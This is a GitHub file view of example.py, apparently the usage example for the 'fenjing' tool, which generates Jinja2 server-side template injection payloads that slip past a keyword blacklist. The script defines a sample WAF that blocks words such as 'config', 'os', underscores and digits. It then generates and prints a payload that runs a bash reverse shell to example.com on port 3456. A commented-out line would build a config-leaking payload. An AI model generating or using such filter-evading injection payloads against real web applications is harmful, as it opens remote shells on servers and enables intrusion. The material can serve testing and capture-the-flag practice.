-
-
Notifications
You must be signed in to change notification settings - Fork 75
Expand file tree
/
Copy pathexample.py
More file actions
executable file
·20 lines (16 loc) · 700 Bytes
/
example.py
File metadata and controls
executable file
·20 lines (16 loc) · 700 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from fenjing import exec_cmd_payload, config_payload
import logging
logging.basicConfig(level = logging.INFO)
def waf(s: str):
blacklist = [
"config", "self", "g", "os", "class", "length", "mro", "base", "lipsum",
"[", '"', "'", "_", ".", "+", "~", "{{",
"0", "1", "2", "3", "4", "5", "6", "7", "8", "9",
"0","1","2","3","4","5","6","7","8","9"
]
return all(word not in s for word in blacklist)
if __name__ == "__main__":
shell_payload, _ = exec_cmd_payload(waf, "bash -c \"bash -i >& /dev/tcp/example.com/3456 0>&1\"")
# config_payload = config_payload(waf)
print(f"{shell_payload=}")
# print(f"{config_payload=}")